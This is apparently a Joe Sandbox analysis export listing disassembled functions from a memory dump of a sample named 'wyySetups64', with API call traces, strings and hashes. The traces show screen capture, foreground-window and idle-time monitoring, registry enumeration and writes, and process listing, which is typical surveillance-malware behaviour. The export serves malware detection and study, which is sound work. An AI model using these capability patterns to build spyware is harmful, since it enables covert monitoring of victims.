Instruction Fuzzy Hash: E531B875A40308BFEB24EBA4CCC5EBF777CDB48750F140519BA06E6145E674DA04C760

Function 0337C060 Relevance: 19.7, APIs: 13, Instructions: 179
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalAlloc.KERNEL32(00000002,?,7AA29978,?,00000000,?), ref: 0337C09E
GlobalLock.KERNEL32(00000000), ref: 0337C0AA
GlobalUnlock.KERNEL32(00000000), ref: 0337C0BF
CreateStreamOnHGlobal.OLE32(00000000,00000001,?), ref: 0337C0D5
EnterCriticalSection.KERNEL32(0339FB64), ref: 0337C113
LeaveCriticalSection.KERNEL32(0339FB64), ref: 0337C124

Part of subcall function 03379DE0: GdipCreateBitmapFromStream.GDIPLUS(?,?), ref: 03379E04
Part of subcall function 03379DE0: GdipDisposeImage.GDIPLUS(?), ref: 03379E18

CreateStreamOnHGlobal.OLE32(00000000,00000001,?), ref: 0337C14C

Part of subcall function 0337A460: GdipGetImageEncodersSize.GDIPLUS(?,?), ref: 0337A48D
Part of subcall function 0337A460: _free.LIBCMT ref: 0337A503

GetHGlobalFromStream.OLE32(?,?), ref: 0337C16D
GlobalLock.KERNEL32(?), ref: 0337C177
GlobalFree.KERNEL32(00000000), ref: 0337C18F

Part of subcall function 03379BA0: DeleteObject.GDI32(?), ref: 03379BD2
Part of subcall function 03379BA0: EnterCriticalSection.KERNEL32(0339FB64,?,?,?,03379B7B), ref: 03379BE3
Part of subcall function 03379BA0: EnterCriticalSection.KERNEL32(0339FB64,?,?,?,03379B7B), ref: 03379BF8
Part of subcall function 03379BA0: GdiplusShutdown.GDIPLUS(00000000,?,?,?,03379B7B), ref: 03379C04
Part of subcall function 03379BA0: LeaveCriticalSection.KERNEL32(0339FB64,?,?,?,03379B7B), ref: 03379C15
Part of subcall function 03379BA0: LeaveCriticalSection.KERNEL32(0339FB64,?,?,?,03379B7B), ref: 03379C1C

GlobalSize.KERNEL32(00000000), ref: 0337C1A5
GlobalUnlock.KERNEL32(?), ref: 0337C221
GlobalFree.KERNEL32(00000000), ref: 0337C249

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: Global$CriticalSection$Stream$CreateEnterGdipLeave$FreeFromImageLockSizeUnlock$AllocBitmapDeleteDisposeEncodersGdiplusObjectShutdown_free
String ID:
API String ID: 1483550337-0
Opcode ID: 9fd20989ca3105c90db4ab1fc6461bf2a0bd5c89014fecbe6524eb8f415621ac
Instruction ID: ffe291feb5c3749f767a62de592beac143494ea26daaf93d9d83a3ef9f3ea491
Opcode Fuzzy Hash: 9fd20989ca3105c90db4ab1fc6461bf2a0bd5c89014fecbe6524eb8f415621ac
Instruction Fuzzy Hash: 236117B5D0021CEFDB20EFA8D8C4A9EBBB8FF49710F20452AE515EB241DB359905CB90

Function 03376490 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 144
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 033764C2
RegOpenKeyExW.KERNEL32(80000001,Software\Tencent\Plugin\VAS,00000000,000F003F,?), ref: 033764E2
RegQueryInfoKeyW.ADVAPI32(?,00000000,00000000,00000000,?,?,00000000,?,?,?,00000000,00000000), ref: 03376524
_memset.LIBCMT ref: 03376560
_memset.LIBCMT ref: 0337658E
RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,00000000,00000AD4,75BF73E0), ref: 033765BA
lstrlenW.KERNEL32(?,?,?,?,00000000,00000AD4,75BF73E0), ref: 033765C3
lstrlenW.KERNEL32(?,?,?,?,00000000,00000AD4,75BF73E0), ref: 033765D5
RegCloseKey.ADVAPI32(?,00000000,00000AD4,75BF73E0), ref: 03376625
lstrlenW.KERNEL32(?), ref: 03376635

Strings

Software\Tencent\Plugin\VAS, xrefs: 033764D8

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: _memsetlstrlen$CloseEnumInfoOpenQuery
String ID: Software\Tencent\Plugin\VAS
API String ID: 2921034913-3343197220
Opcode ID: f5bc8d0c5031981ab59063607eb23cd7c7d280b0628c8c11600ba333a5d29188
Instruction ID: b4a10a192fa2b67f3bfa2cfa81edb5c071ebedf70a38503aa25dd030846fae9c
Opcode Fuzzy Hash: f5bc8d0c5031981ab59063607eb23cd7c7d280b0628c8c11600ba333a5d29188
Instruction Fuzzy Hash: 9E4195F5E40218ABDB34EB50CDC5FEAB37CEB44700F404599E709B6141EA75AA858B64

Function 0337A460 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 150windowCOMMON

Download Yara Rule

APIs

GdipGetImageEncodersSize.GDIPLUS(?,?), ref: 0337A48D
_malloc.LIBCMT ref: 0337A4D1
_free.LIBCMT ref: 0337A503
GdipGetImageEncoders.GDIPLUS(?,?,00000008), ref: 0337A522
GdipSaveImageToStream.GDIPLUS(00000000,?,?,00000000), ref: 0337A594
GdipDisposeImage.GDIPLUS(00000000), ref: 0337A59F
GdipCreateBitmapFromHBITMAP.GDIPLUS(?,00000000,?), ref: 0337A5C5
GdipDisposeImage.GDIPLUS(00000000), ref: 0337A5DD

Strings

&, xrefs: 0337A579

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: Gdip$Image$DisposeEncoders$BitmapCreateFromSaveSizeStream_free_malloc
String ID: &
API String ID: 2794124522-3042966939
Opcode ID: 96d8dbe43a28239c9b4636d2528a9cccb392e103af78bdcfce384312dce09f3b
Instruction ID: 4141a957d2420e0fb12c3eac67c5dc986082d7f5bfa6c3ce583fc8467c7b7f67
Opcode Fuzzy Hash: 96d8dbe43a28239c9b4636d2528a9cccb392e103af78bdcfce384312dce09f3b
Instruction Fuzzy Hash: F55153B5E00219AFDB24DFA4D8C4EEFB7B8AF48750F048159E905AB350D739A945CBE0

Function 00BD52B0 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 123registrysleepCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(80000002,SOFTWARE,00000000,00000102,?), ref: 00BD5382
RegDeleteValueW.KERNEL32(?,IpDates_info), ref: 00BD5392
RegSetValueExW.KERNEL32(?,IpDates_info,00000000,00000003,00BEC6E0,000012A0), ref: 00BD53B0
RegCloseKey.KERNEL32(?), ref: 00BD53BB
OpenProcess.KERNEL32(00000400,00000000,?), ref: 00BD540F
GetExitCodeProcess.KERNEL32(00000000,?), ref: 00BD541B
Sleep.KERNEL32(00000BB8), ref: 00BD5434

Strings

IpDates_info, xrefs: 00BD538C, 00BD53AA
SOFTWARE, xrefs: 00BD5378

Memory Dump Source

Source File: 00000001.00000002.4116723964.0000000000BD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000001.00000002.4116694335.0000000000BD0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116886071.0000000000BE5000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116935852.0000000000BE9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116976160.0000000000BEF000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4117023604.0000000000BF1000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bd0000_wyySetups64.jbxd

Similarity

API ID: OpenProcessValue$CloseCodeDeleteExitSleep
String ID: IpDates_info$SOFTWARE
API String ID: 864241144-2243437601
Opcode ID: e5dc7de447577991d2e973742e8b59c222dac3d1bc7300c7d12f0d8b5fb707f5
Instruction ID: 8af243351a8f894bb4b23de5e30fd21d4d8c10901cde0bc200c296e1a2b97805
Opcode Fuzzy Hash: e5dc7de447577991d2e973742e8b59c222dac3d1bc7300c7d12f0d8b5fb707f5
Instruction Fuzzy Hash: 2941FA316486819FD3309B248C85A7ABBE5EB51354F5804CAE5838B352FB70D806C756

Function 00BD52D9 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 84registrysleepCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(80000002,SOFTWARE,00000000,00000102,?), ref: 00BD5382
RegDeleteValueW.KERNEL32(?,IpDates_info), ref: 00BD5392
RegSetValueExW.KERNEL32(?,IpDates_info,00000000,00000003,00BEC6E0,000012A0), ref: 00BD53B0
RegCloseKey.KERNEL32(?), ref: 00BD53BB
OpenProcess.KERNEL32(00000400,00000000,?), ref: 00BD540F
GetExitCodeProcess.KERNEL32(00000000,?), ref: 00BD541B
Sleep.KERNEL32(00000BB8), ref: 00BD5434

Strings

IpDates_info, xrefs: 00BD538C, 00BD53AA
SOFTWARE, xrefs: 00BD5378

Memory Dump Source

Source File: 00000001.00000002.4116723964.0000000000BD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000001.00000002.4116694335.0000000000BD0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116886071.0000000000BE5000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116935852.0000000000BE9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116976160.0000000000BEF000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4117023604.0000000000BF1000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bd0000_wyySetups64.jbxd

Similarity

API ID: OpenProcessValue$CloseCodeDeleteExitSleep
String ID: IpDates_info$SOFTWARE
API String ID: 864241144-2243437601
Opcode ID: c48ec0aeaf29484f45f0e137261d2459d9e3051aed8d2651eb78f266e64a779a
Instruction ID: 7447e777b51be91021da5589da1bc20f673e70ed6fe9e188fd62c6a8a45a725f
Opcode Fuzzy Hash: c48ec0aeaf29484f45f0e137261d2459d9e3051aed8d2651eb78f266e64a779a
Instruction Fuzzy Hash: DD31C5302887C19FD730CB308859B7ABBE5EB54354F9804CAF1868B352E7B0D846C766

Function 0337CA70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 197registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(80000001,Console\0,00000000,000F003F,033912F8,7AA29978,00000001,00000000,00000000), ref: 0337CAB1
RegQueryInfoKeyW.ADVAPI32(033912F8,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,?,00000000,00000000), ref: 0337CAE0
_memset.LIBCMT ref: 0337CB44
_memset.LIBCMT ref: 0337CB53
RegEnumValueW.KERNEL32(033912F8,?,00000000,?,00000000,?,00000000,?), ref: 0337CB72

Part of subcall function 0337F707: _malloc.LIBCMT ref: 0337F721

Part of subcall function 0337F707: std::exception::exception.LIBCMT ref: 0337F756
Part of subcall function 0337F707: std::exception::exception.LIBCMT ref: 0337F770
Part of subcall function 0337F707: __CxxThrowException@8.LIBCMT ref: 0337F781

RegCloseKey.KERNEL32(033912F8,?,?,?,?,?,?,?,?,?,?,?,00000000,033912F8,000000FF), ref: 0337CC83

Strings

Console\0, xrefs: 0337CAA4

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: _memsetstd::exception::exception$CloseEnumException@8InfoOpenQueryThrowValue_malloc
String ID: Console\0
API String ID: 1348767993-1253790388
Opcode ID: ed7c8f06f959d1a23a678677d1411ffbbf91db82626b0c377bffbbf486ed21e1
Instruction ID: e46f8e5c7793d987da436bbb537ca3134d41751e9d0213b1956d90875eb45484
Opcode Fuzzy Hash: ed7c8f06f959d1a23a678677d1411ffbbf91db82626b0c377bffbbf486ed21e1
Instruction Fuzzy Hash: 43611DB5E00219AFDB14DFA8D8C0EAEB7B8FB48310F14466AF915EB345D7359901CBA0

Function 0337BB00 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 126COMMON

Download Yara Rule

APIs

Part of subcall function 0337F707: _malloc.LIBCMT ref: 0337F721

_memset.LIBCMT ref: 0337BB21
GetLastInputInfo.USER32(?), ref: 0337BB37
GetTickCount.KERNEL32 ref: 0337BB3D
wsprintfW.USER32 ref: 0337BB66
GetForegroundWindow.USER32 ref: 0337BB6F
GetWindowTextW.USER32(00000000,00000020,000000FA), ref: 0337BB83

Strings

%d min, xrefs: 0337BB60

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: Window$CountForegroundInfoInputLastTextTick_malloc_memsetwsprintf
String ID: %d min
API String ID: 3754759880-1947832151
Opcode ID: 79906b25d9fe24be0d5ade3ab6405e834985998073a810c3a7010e8b3745bc3e
Instruction ID: e0d0148edb0818f28985bd2022da5141f22ec87ab83e3ba49cf71e73e5e1ab58
Opcode Fuzzy Hash: 79906b25d9fe24be0d5ade3ab6405e834985998073a810c3a7010e8b3745bc3e
Instruction Fuzzy Hash: BF41B2B5D00218AFCB10EFA4CCC4E9FBBB8EF48700F088155F9099B255D6789A00CBE1

Function 03376910 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(7AA29978,00000000,00000000,75BF73E0,?,00000000,033910DB,000000FF,?,03376AB3,00000000), ref: 03376938
OpenProcess.KERNEL32(00000400,00000000,00000000,?,00000000,033910DB,000000FF,?,03376AB3,00000000), ref: 03376947
OpenProcessToken.ADVAPI32(00000000,00000008,00000000,?,00000000,033910DB,000000FF,?,03376AB3,00000000), ref: 03376960
CloseHandle.KERNEL32(00000000,?,00000000,033910DB,000000FF,?,03376AB3,00000000), ref: 0337696B
SysStringLen.OLEAUT32(00000000), ref: 033769BE
SysStringLen.OLEAUT32(00000000), ref: 033769CC
CloseHandle.KERNEL32(00000000,?,?,?,?,?,00000000,033910DB,000000FF), ref: 03376A2E
CloseHandle.KERNEL32(?,?,?,?,?,?,00000000,033910DB,000000FF), ref: 03376A34

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: CloseHandleProcess$OpenString$CurrentToken
String ID:
API String ID: 429299433-0
Opcode ID: f91e6cde62eecbf209dc3c174c01d60f130d5ae192f8c5d7febd46e9351a83c2
Instruction ID: 6328903e239417cd76b26e5ae502da2bf47479f5dbedc80b303f8d784c3b9a35
Opcode Fuzzy Hash: f91e6cde62eecbf209dc3c174c01d60f130d5ae192f8c5d7febd46e9351a83c2
Instruction Fuzzy Hash: 834195B2D00A18EBDB20DFA8CCC1AAFF7B8FB45710F14456AE955F7241D77999008BA0

Function 03376D70 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 89registrystringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 03376DD9
RegOpenKeyExW.KERNEL32(80000001,03395164,00000000,00020019,75BF73E0), ref: 03376DFC
RegQueryValueExW.KERNEL32(75BF73E0,GROUP,00000000,00000001,?,00000208), ref: 03376E4A
lstrcmpW.KERNEL32(?,03395148), ref: 03376E60
lstrcpyW.KERNEL32(033756EA,?), ref: 03376E72

Strings

GROUP, xrefs: 03376E42

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: OpenQueryValue_memsetlstrcmplstrcpy
String ID: GROUP
API String ID: 2102619503-2593425013
Opcode ID: 872144275fe10206fbf196322535d4108f838da11b7592d7dc7775a15a14811b
Instruction ID: 724a5ccd3d7a15a801b67ac606975b6e7e64df946da747b95667bd0396c3027e
Opcode Fuzzy Hash: 872144275fe10206fbf196322535d4108f838da11b7592d7dc7775a15a14811b
Instruction Fuzzy Hash: 59318771900719FBDB30DF90DDC9B9EB7B8FB08710F100299E515A6290DB799A84CF60

Function 00BD721B Relevance: 10.6, APIs: 7, Instructions: 63threadCOMMON

Download Yara Rule

APIs

___set_flsgetvalue.LIBCMT ref: 00BD7240
__calloc_crt.LIBCMT ref: 00BD724C
__getptd.LIBCMT ref: 00BD7259
CreateThread.KERNEL32(?,?,00BD71B6,00000000,?,?), ref: 00BD7290
GetLastError.KERNEL32(?,?,?,?,?,00000000), ref: 00BD729A
_free.LIBCMT ref: 00BD72A3
__dosmaperr.LIBCMT ref: 00BD72AE

Part of subcall function 00BD710D: __getptd_noexit.LIBCMT ref: 00BD710D

Memory Dump Source

Source File: 00000001.00000002.4116723964.0000000000BD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000001.00000002.4116694335.0000000000BD0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116886071.0000000000BE5000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116935852.0000000000BE9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116976160.0000000000BEF000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4117023604.0000000000BF1000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bd0000_wyySetups64.jbxd

Similarity

API ID: CreateErrorLastThread___set_flsgetvalue__calloc_crt__dosmaperr__getptd__getptd_noexit_free
String ID:
API String ID: 155776804-0
Opcode ID: 1ec73021328d69cd22697e2f1fd6dcf989e4304dae29b2b74e98db30381b5018
Instruction ID: 0c8149795ece71288e7c399023b0dbc849954ea99690fcd309aba9149de6e864
Opcode Fuzzy Hash: 1ec73021328d69cd22697e2f1fd6dcf989e4304dae29b2b74e98db30381b5018
Instruction Fuzzy Hash: 121182322487866FD721AFA59C429DBB7E8EF46774B1001ABF9549A352FF71D80086A0

Function 0337FA29 Relevance: 10.6, APIs: 7, Instructions: 63threadCOMMON

Download Yara Rule

APIs

___set_flsgetvalue.LIBCMT ref: 0337FA4E
__calloc_crt.LIBCMT ref: 0337FA5A
__getptd.LIBCMT ref: 0337FA67
CreateThread.KERNEL32(00000000,00000000,0337F9C4,00000000,00000000,0337E003), ref: 0337FA9E
GetLastError.KERNEL32(?,00000000,?,?,0337E003,00000000,00000000,03375F40,00000000,00000000,00000000), ref: 0337FAA8
_free.LIBCMT ref: 0337FAB1
__dosmaperr.LIBCMT ref: 0337FABC

Part of subcall function 0337F91B: __getptd_noexit.LIBCMT ref: 0337F91B

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: CreateErrorLastThread___set_flsgetvalue__calloc_crt__dosmaperr__getptd__getptd_noexit_free
String ID:
API String ID: 155776804-0
Opcode ID: 10eec96f844a7bbca7101e3a0777e2e36d0e1b7c25120931fd2b53bdc6f0ad4c
Instruction ID: e3e889aa16e0aab349f463393097d176d71d02a0a0075040514f523adeb46a71
Opcode Fuzzy Hash: 10eec96f844a7bbca7101e3a0777e2e36d0e1b7c25120931fd2b53bdc6f0ad4c
Instruction Fuzzy Hash: 7311C23A60470ABFDB21FFA9ECC099B37D9EF05B70B140426F9048A150DB79D401CA60

Function 03377410 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 42libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,GetNativeSystemInfo,?,?,?,?,?,?,?,?,03377523), ref: 0337743D
GetProcAddress.KERNEL32(00000000), ref: 03377444
GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,03377523), ref: 03377452
GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,03377523), ref: 0337745A

Strings

kernel32.dll, xrefs: 0337741D
GetNativeSystemInfo, xrefs: 03377418

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: InfoSystem$AddressHandleModuleNativeProc
String ID: GetNativeSystemInfo$kernel32.dll
API String ID: 3433367815-192647395
Opcode ID: 38fc90cde7c4b3d8dc46a67fd8c6dbe680d0e7df171acb8db158fc26a00115b3
Instruction ID: 0ccbc27dd8e2e58fdc8cf9091cc2cdd48464bca267ef19b199546b9387332506
Opcode Fuzzy Hash: 38fc90cde7c4b3d8dc46a67fd8c6dbe680d0e7df171acb8db158fc26a00115b3
Instruction Fuzzy Hash: 04012C70D00209AFDF60DFB499846FEBBF9EB08300F5445AAD559E3240E63A8A50CBA1

Function 00BD71B6 Relevance: 10.5, APIs: 7, Instructions: 34threadCOMMON

Download Yara Rule

APIs

___set_flsgetvalue.LIBCMT ref: 00BD71BC

Part of subcall function 00BD9754: TlsGetValue.KERNEL32(00000000,00BD98AD,?,00BD9FB0,00000000,00000001,00000000,?,00BDC0CF,00000018,00BE7C70,0000000C,00BDC15F,00000000,00000000), ref: 00BD975D
Part of subcall function 00BD9754: DecodePointer.KERNEL32(?,00BD9FB0,00000000,00000001,00000000,?,00BDC0CF,00000018,00BE7C70,0000000C,00BDC15F,00000000,00000000,?,00BD99BA,0000000D), ref: 00BD976F
Part of subcall function 00BD9754: TlsSetValue.KERNEL32(00000000,?,00BD9FB0,00000000,00000001,00000000,?,00BDC0CF,00000018,00BE7C70,0000000C,00BDC15F,00000000,00000000,?,00BD99BA), ref: 00BD977E

___fls_getvalue@4.LIBCMT ref: 00BD71C7

Part of subcall function 00BD9734: TlsGetValue.KERNEL32(?,?,00BD71CC,00000000), ref: 00BD9742

___fls_setvalue@8.LIBCMT ref: 00BD71DA

Part of subcall function 00BD9788: DecodePointer.KERNEL32(?,?,?,00BD71DF,00000000,?,00000000), ref: 00BD9799

GetLastError.KERNEL32(00000000,?,00000000), ref: 00BD71E3
ExitThread.KERNEL32 ref: 00BD71EA
GetCurrentThreadId.KERNEL32 ref: 00BD71F0
__freefls@4.LIBCMT ref: 00BD7210

Memory Dump Source

Source File: 00000001.00000002.4116723964.0000000000BD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000001.00000002.4116694335.0000000000BD0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116886071.0000000000BE5000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116935852.0000000000BE9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116976160.0000000000BEF000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4117023604.0000000000BF1000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bd0000_wyySetups64.jbxd

Similarity

API ID: Value$DecodePointerThread$CurrentErrorExitLast___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4
String ID:
API String ID: 2383549826-0
Opcode ID: 55757018adbb51d8363c8564fd5dd641374c250f0aeb25f7231cb68537a3411b
Instruction ID: 34d63f46497564e605a4afa917c63793c667c52f3582c45b811becc7621cf77a
Opcode Fuzzy Hash: 55757018adbb51d8363c8564fd5dd641374c250f0aeb25f7231cb68537a3411b
Instruction Fuzzy Hash: 4DF09675504645ABC714BF71C94988EFBE9AF4431471085DAF9049B313FF34DC428790

Function 0337F9C4 Relevance: 10.5, APIs: 7, Instructions: 34threadCOMMON

Download Yara Rule

APIs

___set_flsgetvalue.LIBCMT ref: 0337F9CA

Part of subcall function 03383CA0: TlsGetValue.KERNEL32(00000000,03383DF9,?,03384500,00000000,00000001,00000000,?,03388DE6,00000018,03396448,0000000C,03388E76,00000000,00000000), ref: 03383CA9
Part of subcall function 03383CA0: DecodePointer.KERNEL32(?,03384500,00000000,00000001,00000000,?,03388DE6,00000018,03396448,0000000C,03388E76,00000000,00000000,?,03383F06,0000000D), ref: 03383CBB
Part of subcall function 03383CA0: TlsSetValue.KERNEL32(00000000,?,03384500,00000000,00000001,00000000,?,03388DE6,00000018,03396448,0000000C,03388E76,00000000,00000000,?,03383F06), ref: 03383CCA

___fls_getvalue@4.LIBCMT ref: 0337F9D5

Part of subcall function 03383C80: TlsGetValue.KERNEL32(?,?,0337F9DA,00000000), ref: 03383C8E

___fls_setvalue@8.LIBCMT ref: 0337F9E8

Part of subcall function 03383CD4: DecodePointer.KERNEL32(?,?,?,0337F9ED,00000000,?,00000000), ref: 03383CE5

GetLastError.KERNEL32(00000000,?,00000000), ref: 0337F9F1
ExitThread.KERNEL32 ref: 0337F9F8
GetCurrentThreadId.KERNEL32 ref: 0337F9FE
__freefls@4.LIBCMT ref: 0337FA1E

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: Value$DecodePointerThread$CurrentErrorExitLast___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4
String ID:
API String ID: 2383549826-0
Opcode ID: dbe9f57b44814a8a9a10d0e9cccc4158639017970fc91b205d317af88606f32b
Instruction ID: 1fbe747045e7b6e5f73480055629470e12b370b4aba16c85cd3c8dac5f1e86eb
Opcode Fuzzy Hash: dbe9f57b44814a8a9a10d0e9cccc4158639017970fc91b205d317af88606f32b
Instruction Fuzzy Hash: BFF06D7CA00708BBC718FF70C9C880E7BBCBF896507218458E9098F311DA39D442CBA1

Function 03376050 Relevance: 9.1, APIs: 6, Instructions: 86processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0337607C
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,?,?,00000000), ref: 03376088
Process32FirstW.KERNEL32(00000000,00000000), ref: 033760B9
Process32NextW.KERNEL32(00000000,0000022C), ref: 0337610F
CloseHandle.KERNEL32(00000000,?,?,00000000), ref: 03376116

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32_memset
String ID:
API String ID: 2526126748-0
Opcode ID: 73a77b38d663315ee2e38565d1c8ef4f334b0077454e91676d7cb3d6e463910d
Instruction ID: 7c2189740e195be21ac2988f8cd03b5fb2675c0e85393527883d58c83627630e
Opcode Fuzzy Hash: 73a77b38d663315ee2e38565d1c8ef4f334b0077454e91676d7cb3d6e463910d
Instruction Fuzzy Hash: 5B21B731A05518EBDB30EF64DCEABEAB36DEF14310F044699DD0A97281EB3A9A14C650

Function 00BD32E0 Relevance: 9.0, APIs: 6, Instructions: 32synchronizationsleepCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF), ref: 00BD32F1
Sleep.KERNEL32(00000258), ref: 00BD32FE
InterlockedExchange.KERNEL32(?,00000000), ref: 00BD3306
WaitForSingleObject.KERNEL32(?,000000FF), ref: 00BD3312
WaitForSingleObject.KERNEL32(?,000000FF), ref: 00BD331A
Sleep.KERNEL32(0000012C), ref: 00BD332B

Memory Dump Source

Source File: 00000001.00000002.4116723964.0000000000BD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000001.00000002.4116694335.0000000000BD0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116886071.0000000000BE5000.00000002.00001000.00020000.00000000.sdmpDownload File
